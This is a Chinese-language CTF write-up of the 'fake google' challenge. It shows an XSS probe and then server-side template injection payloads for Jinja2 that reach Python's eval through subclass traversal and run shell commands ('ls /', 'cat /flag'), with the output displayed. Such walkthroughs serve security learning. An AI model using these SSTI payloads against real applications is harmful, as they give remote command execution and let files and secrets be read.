[BJDCTF 2nd]fake google


[BJDCTF 2nd]fake google

進入頁面:

img

試了幾下發現輸入xxx,一般會按的格式顯示,

P3's girlfirend is : xxxxx

然后猜測會不會執行代碼,發現可以執行

<script>alert(1);</script>

發現輸出P3's girlfirend is : xxxxx的頁面注釋有一句話,師傅把點告訴我們了:ssti注入

<!--ssssssti & a little trick -->

題解就很明顯了:因為師傅下手輕了,所以沒什么過濾

payload:看一下根目錄,回顯了flag在這根目錄

?name=

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}

代碼藏起來了,詳情如下:

{% for c in [].class.base.subclasses() %}
{% if c.name=='catch_warnings' %}
{{ c.init.globals['builtins'].eval("import('os').popen('ls /').read()")}}
{% endif %}{% endfor %}

P3's girlfirend is : app bd_build bin boot dev etc flag home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var

payload:查看flag,得到flag

?name=

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag').read()")}}{% endif %}{% endfor %}

代碼藏起來了,詳情如下:

{% for c in [].class.base.subclasses() %}
{% if c.name=='catch_warnings' %}
{{ c.init.globals['builtins'].eval("import('os').popen('cat /flag').read()")}}
{% endif %}{% endfor %}


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM